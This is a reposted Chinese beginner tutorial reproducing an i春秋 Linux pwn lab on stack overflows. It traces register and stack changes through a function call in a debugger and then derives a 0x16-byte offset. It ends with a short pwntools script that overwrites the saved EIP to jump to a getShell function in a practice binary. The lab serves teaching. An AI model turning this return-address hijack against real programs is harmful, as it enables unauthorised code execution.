Linux pwn入门教程,i春秋linux_pwn入门教程复现之栈溢出基础

转载

攻气直女 于 2021-05-02 16:13:54 发布 36 收藏
文章标签： Linux pwn入门教程

i春秋linux_pwn入门教程复现之栈溢出基础

演示进程总览

1:

main函数

2:

hello函数

3:

getShell函数

函数的入栈和出栈

1:

F2断点于call hello

启动IDA远程调试F9运行

EIP=0x080484D9，保存着下一条将要执行的命令、ESP=0xFF80EA90，保存着栈顶地址、EBP=0xFF80EA98，保存着栈底地址。

2：

验证EIP始终指向下一条将要执行的命令：

修改EIP的值为call hello下的【mov eax,0】对应的地址看是否跳过call hello

F9运行

IDA卡死，远程动态调试失败。【动态调试还是选择OD或者gdb合适，IDA用作静态分析还行】

采用gdb-peda验证

查看eip地址

运行查看

3：

验证栈的特征为向低地址生长

当前EBP=0xffffd138，ESP=0xffffd12c。

当前EBP=0xffffd138，ESP=0xffffd128。

从两张图片看，ESP指向栈顶，且向低地址生长。EIP不停压入栈中，使得ESP不断减4，指向新栈顶。

栈的另一个特征为后进先出(先入后出)，针对存储于栈的元素。

4：

函数的入栈

当前main函数，即将执行hello函数(0x80484d9),执行完hello函数后下一条命令为0x80484de

进入hello函数，EIP执行hello函数的第一条命令，EBP=0xffffd168，ESP=0xffffd15c。

ESP中保存着前面还没进入hello函数的下一条命令0x80484de，入栈。

继续执行，原ESP-4后，新ESP=0xffffd158，指向新栈顶。

ESP中保存着原EBP的值=0xffffd168

继续执行，【mov ebp,esp】把当前ESP的值=0xffffd168赋给ebp。

EBP保存着当前的栈底，进入栈中。

继续执行，通过【sub esp,0x18】拓展栈帧，同时指向新栈顶。当前EBP=0xffffd158,ESP=0xffffd140。

当前栈中保存着原EIP和原EBP。

栈底和栈顶保持不变，【mov DWORD PTR [ebp-0xe],0x0】和【mov DWORD PTR [ebp-0xa],0x0】为部署0x00到栈中。

通过【sub esp.0x4】(ESP=0xffffd13c)，开辟新栈帧。

【push 0x64】，向栈内压入0x64,ESP=0xffffd13c-4=0xffffd138指向0x64。

指定一个地址给eax,然后将eax压入栈中，接着压入0x0。同时ESP指向新栈顶。

执行read函数，向栈中输入8个A

当前函数栈帧分布为：

eax保存着enter，ebx和edi都保存着0x0,edx保存着0x64,ecx保存着输入的局部变量8个A。其在0xffffd146。

继续执行，栈顶ESP变化，寄存器变换数值，执行print函数。

5：

函数的出栈

执行leave命令，回到【sub esp,0x18】拓展栈帧，EBP=0xffffd158保存着原EBP数据用于即将恢复,ESP=0xffffd140的状态。

执行ret命令，回到刚进入hello函数的状态,EBP恢复=0xffffd168，ESP=0xffffd15c，其内保存了原EIP数据(下一条要执行的命令)。

此时栈帧被销毁。即将回到main函数。

EBP和ESP和EIP都恢复到main函数状态。

6：

函数的入栈和出栈全过程图示

POC

根据read(0,&buf,0x64)，其在栈中的布局为下图，并且局部变量输入的起始地址是0xffffd146：

那么从老EIP保存的地址到局部变量输入的起始地址，一共是0xffffd15c-0xffffd146=hex(22)=0x16个字节。

由于输入的空间为0x64故，当输入0x16的数据后，后面的4个字节就会覆盖保存的EIP(32位故为4个字节)

EXP

既然我们可以覆盖保存的EIP，意味着就可以劫持进程的运行流程，使其可以执行我们想要的功能(例如getShell函数)

查找getShell中的地址

```
1

2

3

4

5from pwn import *

p = process('./hello')

payload = 'A'*0x16+p32(0x804846b)

p.sendline(payload)

p.interactive()
```